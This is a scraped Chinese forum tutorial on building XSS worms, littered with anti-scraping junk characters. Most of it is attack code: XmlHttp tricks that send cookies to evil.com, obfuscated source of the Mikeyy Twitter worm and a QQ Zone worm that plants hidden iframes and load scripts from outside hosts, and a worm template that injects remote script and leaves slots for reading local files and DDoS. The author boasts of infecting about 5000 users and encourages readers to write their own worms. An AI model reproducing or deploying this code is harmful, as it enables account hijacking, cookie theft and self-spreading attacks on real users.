Squid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
0 }" r9 y: c2 }% f6 @( U
: a1 y( P7 H% h% m* Q) \$ a9 O+ G& ~acl TRACE method TRACE
- z, @5 @: m* q% m2 J6 g
...

http_access deny TRACE
# j3 r0 |% S; m复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
$ e9 {- g3 u  S! v  B0 g
XmlHttp.open("GET","http://www.google.com",false);

3 H/ k! W1 s* h4 {XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

/ ^$ ^' P" m) ~$ {0 J3 l9 UXmlHttp.send(null);
# P: n9 |# W" u6 ?, U* N
</script>
* s# u$ _) [+ H% s2 S复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
6 U8 W+ {/ n0 o1 R7 w
' X5 Q$ w( l. R4 d) ^; ]

6 X+ [: c4 Q1 O7 K4 U0 f1 ~XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);
  r4 K1 t$ T5 K6 y  `0 A8 X% n; I
XmlHttp.send(null);
1 |4 b8 t+ s! A: I- g3 v+ k+ [
<script>
8 I- b* i% Z! T复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)

6 天前 08:27

/ X  j) T; W0 ^/ G! g第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   
5 k- h; a  s3 ~* _6 {- k/ g9 l- d
   3. function XHConn(){  
  x& E; S+ \8 b/ M
; M2 }+ y5 H! o6 ~& N' V   4.   var _0x6687x2,_0x6687x3=false;  

$ r  d; O# F+ F6 t   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  
" j5 r" @% G2 C( Z$ U8 e
   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
. @6 F$ Y* G8 D# M3 C
" h$ U& e0 ^9 G: N4 G2 N   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  

   8.   catch(e) { _0x6687x2=false; }; }; };  
6 E1 Z5 S, _( c2 ]# j复制代码第六版:   1. function wait() {  
2 E# q8 [# F& N+ V) J$ i: w
2 u, g  Q( j% }0 {9 @" I   2.   var content = document.documentElement.innerHTML;  

   3.   var tmp_cookie=document.cookie;  
5 u) L+ ]- g" h* e, r1 d! z! _8 v
   4.   var tmp_posted=tmp_cookie.match(/posted/);  
$ N8 y; b2 r7 s+ p: W) x$ @+ G
+ c' H- S) w5 H; b3 N* v   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  

   6.   var authtoken=authreg.exec(content);  
9 {8 t2 \$ p  s& y4 D1 h' I1 l& ~
   7.   var authtoken=authtoken[1];  
, Q" {/ c: j1 ]3 `
   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  

+ q- E* |$ g) J# u. N/ e  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  
: L) j) v5 @7 y
" O" I! z5 Y& x. r( t- e, l9 X1 B  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
  r! i# K/ K4 z( k0 A
  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
3 W+ B& F( f% m* F+ L2 n: a
: a# M+ a" |% U! R! K% G, ]4 _  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  

  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
7 ^( \1 l4 ^) G& ~0 R8 I
  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
# ?0 L7 @( Y# O* X; {' y
4 h( q% O# s- _1 O0 i1 B5 ^7 d8 Y1 b  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  
1 u! l' v. b, V- W8 O
  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  

  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

. v1 t" P2 R) K  B) A  k1 X* B' l  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  

  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  
9 O& P% X) q: j0 L# X  n" x
( D1 c& M9 s0 |! Y1 K2 _  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  

  24.     
1 ]) B' k4 X% z
; X5 @) m* p* _7 Y0 \/ y* \  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  
2 Z$ K% J( [, B
% p0 w% ~2 L; Y6 {1 `. Q  26.   var updateEncode=urlencode(randomUpdate[genRand]);  

  27.     

8 T- y" w, u. r" F  28.   var ajaxConn= new XHConn();  
7 C$ m5 ^( a1 Q6 l  P+ N$ \( }- L3 M
, Z6 O+ x9 u# s* S7 r4 e! H  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
+ @% }% F9 i7 }! v
. J2 n8 y% _9 @  30.   var _0xf81bx1c="Mikeyy";  

; q2 @, y$ S+ e8 L  31.   var updateEncode=urlencode(_0xf81bx1c);  
0 Z/ [# q! U8 [3 H- r& D2 b! I6 G. Y
; l/ U( `/ F" X! b) u  32.   var ajaxConn1= new XHConn();  

. z1 d8 q. s4 a' K& [. k  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  
5 y# X* z9 m( x, Z4 i! ]6 ^
  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  

/ d: N) T" @$ }  35.   var XSS=urlencode(genXSS);  
$ Y* [$ A- j( o
  36.   var ajaxConn2= new XHConn();  
+ P# s' b9 h0 ?$ k8 q
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  

7 Z9 [6 y" S. {% f# h  38.     
1 M& o3 p2 O8 R9 x6 Q+ r+ K! ]
  39. } ;  
' h- {/ @5 I1 h
  40. setTimeout(wait(),5250);  
复制代码QQ空间XSSfunction killErrors() {return true;}
2 V. C' ~: z, G/ F
window.onerror=killErrors;
, t. d) a' C5 H; a5 [
. V) z9 z; ?! u2 f+ L, n
! [& f& Y# H9 ]' y8 ]0 q2 b& |
7 }( S/ k# j5 A3 Hvar shendu;shendu=4;
6 g; I0 g" ~3 ]: D! F, O
: J4 W1 A+ T5 q% y+ {- V: D//---------------global---v------------------------------------------
& g, v; c3 j2 N2 d0 g2 i0 _5 R; x# V
//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

9 U2 t1 }! G& {2 q: ?var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
) g% Z+ C* A9 }- l$ H
var myblogurl=new Array();var myblogid=new Array();
8 }+ L6 R% J, g) p; g5 j6 o0 D, \
6 e# u% ^/ ^' u% ]        var gurl=document.location.href;
  n" p: G$ l! ~) g6 W$ s2 c+ M
2 J  d, A; J: |+ l5 j. q% T        var gurle=gurl.indexOf("com/");
5 g9 ~4 p: m3 ^4 m
- z8 }" Q; K: I* G- C6 F( V        gurl=gurl.substring(0,gurle+3);        
5 |7 s& Y8 f- T  P, F( \
        var visitorID=top.document.documentElement.outerHTML;
( [9 v  o9 q7 i: g( ~/ y
4 e9 ~/ g6 S0 o% t! _7 B           var cookieS=visitorID.indexOf("g_iLoginUin = ");
/ C2 K/ L9 M/ v3 W" r- d: x
        visitorID=visitorID.substring(cookieS+14);

/ a; ^9 b% E; m# y1 ^6 m5 W        cookieS=visitorID.indexOf(",");

        visitorID=visitorID.substring(0,cookieS);

        get_my_blog(visitorID);

        DOshuamy();



//挂马

: f4 x/ g, B; ~( H  |' {; Qfunction DOshuamy(){

: a, U4 A& }$ C# |) V) O1 s3 rvar ssr=document.getElementById("veryTitle");

ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

/ C* n8 P  _, R  o: \}
) R4 B, t0 s' @4 Q  U) G

0 U. u! i% W  v) G7 o* Z
4 u7 _7 O; ?9 x! f//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？

- N) @4 E0 q8 a9 l" ffunction get_my_blog(visitorID){

: l9 C0 A3 K2 P* O$ g4 |9 r   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";

   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

   if(xhr){    //成功就执行下面的

     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL

     xhr.send();guest=xhr.responseText;

- V3 l2 R( |9 A& Z8 G% k     get_my_blogurl(guest);    //执行这个函数
! J" j- q$ Z. K- q: O: u) g
    }
  ~0 O5 F6 N" I. @3 A
) n3 Z# n8 }0 ?$ A( P- G7 a# ^}
! g) A! n2 M# X& N
" Y' q& C9 N# `* B2 J% A  F+ s8 x
6 \6 i* M! L$ H# K" R9 g
& `6 f# f/ W' ^7 @. V//这里似乎是判断没有登录的
+ ]; D" m& |& |- _% G
7 q4 w( m5 k/ m# L% l- g' Ffunction get_my_blogurl(guest){

  var mybloglist=guest;
' R' k& ]+ I' `! L
. u5 `- N8 r( b0 M  var myurls;var blogids;var blogide;

  for(i=0;i<shendu;i++){

7 V7 Q* Q% }) X7 i( a     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
8 P* S  a( C* w% e/ [/ T( @
     if(myurls!=-1){    //找到了就执行下面的

* p; Z2 x6 s7 L! B, a         mybloglist=mybloglist.substring(myurls+11);
9 w7 }; \9 D% M5 F) O9 m
! y' w! u8 E" m3 o: T4 ]7 @         myurls=mybloglist.indexOf(')');
; F% G- i, v8 r. w/ J; H
( W1 e  i  m$ d) X* F  p) i9 E         myblogid=mybloglist.substring(0,myurls);

        }else{break;}
# g: p8 N+ i' M. D: U
4 i( b) g& j& e. g& v}
& O& K8 ~% p3 z
get_my_testself();    //执行这个函数

+ p! K! q; i5 m; N, t}

1 j& s8 U$ P2 c9 g
9 R3 `, @9 v7 L5 E2 f  B' Q# `) F
//这里往哪跳就不知道了

0 l7 p, s2 N+ @. F! I; N  H7 [function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值

      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

5 }! W5 J2 C/ s0 D( `% U7 l7 |      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象

      if(xhr2){        //如果成功
3 O& H# S: i6 ?1 z( F( T$ B7 G; C
/ K6 P4 y( s2 f, s5 E              xhr2.open("GET",url,false);     //打开上面的那个url
( g9 y3 t% B+ E; q/ Q5 S
# \) n* _3 z$ Y8 K1 }9 Q9 P9 k              xhr2.send();
( v$ V; J' ?* F0 ]  F4 w+ w. W
' r2 H+ b. j. f( V* x# K              guest2=xhr2.responseText;
$ T& G* D$ u3 H) ^
              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？

6 |% V) e. n0 w' _              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
" v5 H/ |$ x& h  M1 b& h# q: V5 l: H
* E* U/ B. }+ n: `7 ?( S              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

& J0 M  x! Y+ x* c* z                targetblogurlid=myblogid;   

3 u& }' M1 @; [$ m4 c; C                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

                break;

               }
7 F! N7 x, O0 ~
              if(mycheckit=="-1"){

. d2 C( c' Q; p( p% X3 C: p                targetblogurlid=myblogid;

8 `' c8 C( L$ T( f  n                add_js(visitorID,targetblogurlid,gurl);    //执行它
. p. R! l7 g& B1 s6 L. B
0 B1 x) Z9 K: g1 l4 b                break;
; Z# m8 f$ M( r" V6 R4 w$ o
               }

        }      
3 {- G7 b9 {  k6 t# p
" q2 T8 t+ J0 E& P) c}

5 `  _" P1 C4 o}
. T! R4 q7 J9 q5 ]) ^: l, g1 z
: e3 z- x/ y7 }  ?+ M

& Y3 J8 T0 z/ Q: }//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象

function createXMLHttpRequest(){
+ f! `& ?# Z3 x# X+ a' i' d5 S6 s
    var XMLhttpObject=null;  
6 |! u* j+ g7 ]0 A- `& m; B5 i
2 y" S9 _0 F9 C8 L$ H" A    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
' A% I7 c; @3 m( `2 W5 G* R
    else  

8 [8 n. b: h! L/ {: D: \5 |! x+ k      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        
. h/ g! k3 Q1 V9 d
/ p+ Z9 J; [  I& B        for(var i=0;i<MSXML.length;i++)  
$ K3 w7 W$ {- M3 Z: J
        {  

            try  
! M4 S4 k& d( m2 d3 B* M
            {  
8 H) z/ d& T' ~0 E* x
( s( z/ b: C- ?* J) G3 W                XMLhttpObject=new ActiveXObject(MSXML);  
1 ?# s# d; ^  P& A6 f. X
3 b: e6 _& u% {1 n1 X4 O( u                break;  

9 S7 g( k! B3 D/ m, ]            }  

            catch (ex) {  

            }  
' f) v. I" M' g0 [
# M, ?+ @+ w2 x0 x         }  

      }
* F" T4 @+ O* |
' N9 z% i' D7 K$ s+ \+ _2 Ireturn XMLhttpObject;

}  


4 Y/ Y9 V( C6 v) w, ^& |0 t
//这里就是感染部分了
$ H; }8 T3 E/ f, Q
function add_js(visitorID,targetblogurlid,gurl){

* }3 m' L5 w2 p" W- _) ivar s2=document.createElement('script');
$ p# I4 i; u- M1 J( r2 J) N
' ~; H" A4 l0 T. T0 c) _$ @s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
) z* `, s& n! d" s2 \+ O
s2.type='text/javascript';
; D1 M1 B3 {7 ?: [$ {* C
document.getElementsByTagName('head').item(0).appendChild(s2);
& K6 B5 u0 G! f! [
}


  e& i1 d& u3 o* C( I6 w: P
) V  h5 Z" O5 l* V# j' kfunction add_jsdel(visitorID,targetblogurlid,gurl){

var s2=document.createElement('script');
# X, G# l. ~5 f0 G/ o. Z7 l. B. Q9 i
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
- |. v% h+ {; {8 M. V" e% Z
s2.type='text/javascript';
0 U! X6 l5 [# d4 s/ s3 F* n# m, @
document.getElementsByTagName('head').item(0).appendChild(s2);
3 J0 }+ B/ U2 p; u
}
! l  Q. f, ]. p2 u" O复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
% m2 W( }- ~$ O; @+ }1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)

综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~

* k# J! v( H- t
下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
: R+ F; u- y4 r9 Q
! {& Q3 L6 u7 V+ K; C! ]首先,自然是判断不同浏览器,创建不同的对象var request = false;
9 r; \) I$ H* [# k7 M8 V- k5 n4 @
if(window.XMLHttpRequest) {

request = new XMLHttpRequest();

( G/ I/ H% `* A: Y% Qif(request.overrideMimeType) {
$ Y. |5 T2 j. g
& A: V* w  w$ [2 Erequest.overrideMimeType('text/xml');

3 O5 T' ~4 B4 }2 O1 ^: h}

- B0 w9 O4 Y, B( G} else if(window.ActiveXObject) {
: a4 |9 I% e+ M& u6 ^
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

" c+ N$ S$ L) ofor(var i=0; i<versions.length; i++) {

try {

request = new ActiveXObject(versions);

8 {" [9 C6 \" _1 ^$ [} catch(e) {}

+ w% u! I) B+ q8 e}

}
9 l3 l1 M2 e6 h2 I7 o+ _
% k8 Y6 }( T6 Q& e! L$ V6 @xmlHttpReq=request;
& z$ g$ ]  m2 ?. m& w8 j* m8 B复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
( Q3 Q3 A) G3 s( X# ?+ w
        var Browser_Name=navigator.appName;

        var Browser_Version=parseFloat(navigator.appVersion);
4 e$ E: F, {: E5 k" {, L
9 b5 d. g9 z7 R5 u8 D% L' \" R        var Browser_Agent=navigator.userAgent;
9 D& h! k+ D: ^5 y$ B4 O! F
        

, R* t7 ?+ @' D/ _        var Actual_Version,Actual_Name;
- R; T' G+ y! g( ]* B4 ^
        
8 _" |8 b4 E: q+ H6 |. m. X
        var is_IE=(Browser_Name=="Microsoft Internet Explorer");

        var is_NN=(Browser_Name=="Netscape");
; D8 D7 i8 D5 Q
# {. P3 ?2 `# `2 h. E        var is_Ch=(Browser_Name=="Chrome");
2 f! ]8 F. K" C" H3 U3 N, x8 I
        
9 m. [4 F! W: {3 {% X" R" d; s
/ N% u3 e: n& @) {0 Z        if(is_NN){
+ F+ G; U% k$ V! I, o, T3 _
            if(Browser_Version>=5.0){

& P/ I0 K6 e$ e% [/ C/ [7 }                var Split_Sign=Browser_Agent.lastIndexOf("/");
- ?6 a6 Y, R% W$ e
                var Version=Browser_Agent.indexOf(" ",Split_Sign);
' H% [6 u) \5 q# i
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);


, L8 I+ [0 t# w! A* J
3 y, r# n$ R0 W3 ~                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);

                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

# w* [6 i3 K6 ?5 y) K+ x1 S, D2 b            }

            else{

3 u2 Z' M- w5 h+ {1 K                Actual_Version=Browser_Version;

' Y, t7 v6 [0 E, a( w; I) ~                Actual_Name=Browser_Name;
2 f1 m: H, Z2 `( `. s$ z
            }

        }

        else if(is_IE){
) g$ y% N( U0 t* X
            var Version_Start=Browser_Agent.indexOf("MSIE");
* X2 d. K5 K% L8 I/ d2 q
, C  S0 y& e1 z* ^) c            var Version_End=Browser_Agent.indexOf(";",Version_Start);

            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
+ p4 r. l$ l5 L- C
  D9 T' m) a+ g7 j! a1 f            Actual_Name=Browser_Name;

            

6 ^" P3 F# q" @7 x+ x            if(Browser_Agent.indexOf("Maxthon")!=-1){

1 u0 ^4 G" q! M, z9 _8 G                Actual_Name+="(Maxthon)";
6 P( X' t) c6 f+ V1 Q' S
            }
. m% q6 `) P+ C
* b' f+ `, _$ @! X            else if(Browser_Agent.indexOf("Opera")!=-1){

/ M% i$ h2 X9 `; p6 D                Actual_Name="Opera";
- Q, s6 x' I2 ?$ f; d
                var tempstart=Browser_Agent.indexOf("Opera");
0 D' |1 W$ k$ T" e( \
+ @) _6 A3 L& V6 ?0 I& J6 P, F  a) \                var tempend=Browser_Agent.length;

! k4 d+ W" L( C6 _+ E7 A3 g+ v  T                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

9 G. a4 }* K1 X            }

        }
  i3 Q0 R; U* K) B6 ~, b" A, b1 D9 A
" S" K( _2 g6 ^5 h8 Y        else if(is_Ch){

  v+ R% ?- Y6 p, m            var Version_Start=Browser_Agent.indexOf("Chrome");
7 \% W: {4 S8 E6 F! ^1 C( [8 n. c1 H* V
            var Version_End=Browser_Agent.indexOf(";",Version_Start);
: q6 F( ?1 p3 I2 Z- L* K
$ c5 P& z7 d9 v% W" U# J: ?: e            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
, y* ]6 }+ |' Y7 x2 t
            Actual_Name=Browser_Name;

) p2 d$ i4 D7 Q            
5 F' e% Y1 L" u2 R+ C7 i+ i) o
            if(Browser_Agent.indexOf("Maxthon")!=-1){

/ Z3 d  o( }5 V                Actual_Name+="(Maxthon)";

            }
1 }5 z- _" R% i+ L0 F
! ^  g* a6 K+ E            else if(Browser_Agent.indexOf("Opera")!=-1){
1 Y% \: D) G& c$ Q" W9 b. x* o
$ \1 S/ H: R; y                Actual_Name="Opera";
, M  H! R, k( |7 J1 Y' V
                var tempstart=Browser_Agent.indexOf("Opera");
" F' b- `: |" {6 X8 Y- H/ g
                var tempend=Browser_Agent.length;

: ~+ d, M* |- C7 \- }, \                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }

" R5 o7 P$ K  ?        }

        else{
1 U* h- L2 W5 O+ G: w
5 t# I2 p  q% P            Actual_Name="Unknown Navigator"
$ s5 Q' G5 ^; M8 Y
            Actual_Version="Unknown Version"
$ E8 h7 _" s3 y* t
        }

+ G) i. M9 F; v
5 C; c; j5 i. \2 G6 S8 ~+ M: P
) l& r# z% _* Y  x5 v- w; g. O        navigator.Actual_Name=Actual_Name;

        navigator.Actual_Version=Actual_Version;
  J& Z5 @  ], x$ b0 L8 A: r* R
6 n, z: |7 Q6 P; d* q' q' H+ B        

        this.Name=Actual_Name;

8 L4 y) d$ s+ ~% g8 I$ ^1 C$ F" `        this.Version=Actual_Version;

* b  p5 j3 h; ~9 S1 K    }
1 w1 \% \+ |. j& q' X7 O# o7 J$ c
    browserinfo();
8 ^6 i3 X( {8 z3 X+ E
8 g2 I/ F/ z; s* V    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

1 E, H$ N! `/ z! D+ q    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}
! R4 f8 n6 R. s8 X, @+ _' e
    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
5 @- G- s- R0 o) {9 H, I4 q# C复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.
. ]+ e1 n7 k4 N+ ?" B6 K0 ]+ [
6 G( T6 |! X7 j3 DxmlHttpReq.send(null);

% o. e. Z" _) V4 Y1 Y! e1 Lvar resource = xmlHttpReq.responseText;

5 X* Z. w1 C9 J) wvar id=0;var result;
' b) S7 F% Y8 _8 N) e
var patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
5 L# q) A! A- U' B& w
; ]3 ~9 L8 |: b; B; \, f3 Gid++;

  w1 }; Y2 {$ ?6 a! {}
7 z8 Y3 i3 H. H  {  K' ^复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.
5 J- }8 P9 J7 c2 Y; g
7 A& `3 u- N4 x5 b; `no=resource.search(/my name is/);
& X. ?2 r# ?$ x
var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.

var post="wd="+wd;

/ M2 |  F" p; i) oxmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

5 E& i. _  |0 a3 N4 WxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);
8 X: Q& u! u5 ~1 s0 C
- i! l7 C. I* z' A. e: j$ I}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{
  n) z. U, B$ H
var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.

  f1 W1 M& c9 S& lvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;
; Z$ G3 x; j' g2 K( y% T
5 ]( g& V% ?8 xxmlHttpReq.open("OST","http://vul.com/vul.jsp",false);

xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");
6 M' f, g* @  y9 \1 D$ G2 |! S( V
# i* T# X4 q0 ]4 exmlHttpReq.setRequestHeader("content-length",post.length);

2 k; g+ p" m4 W& g: dxmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");
, _& Q6 Q1 ^5 z1 q
9 C% h8 C$ P3 V- gxmlHttpReq.send(post);                 //把传播的信息 POST出去.
" E& B! d  W! q' w$ Q5 `" W
7 Y) s+ v& k% v! s" c}
复制代码-----------------------------------------------------总结-------------------------------------------------------------------
/ k8 f% i: l* y/ D/ A: b

' x" S' S3 ]0 q/ z4 [
8 F2 `  ^- y) f* t" c% o本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.

1 P- g& L5 G- p4 ~8 J
" ?% h: Y: h! L) h" J. c


7 I4 a5 \- j+ a% U

) y% G3 j# G6 U3 y3 M0 S6 k
本文引用文档资料:

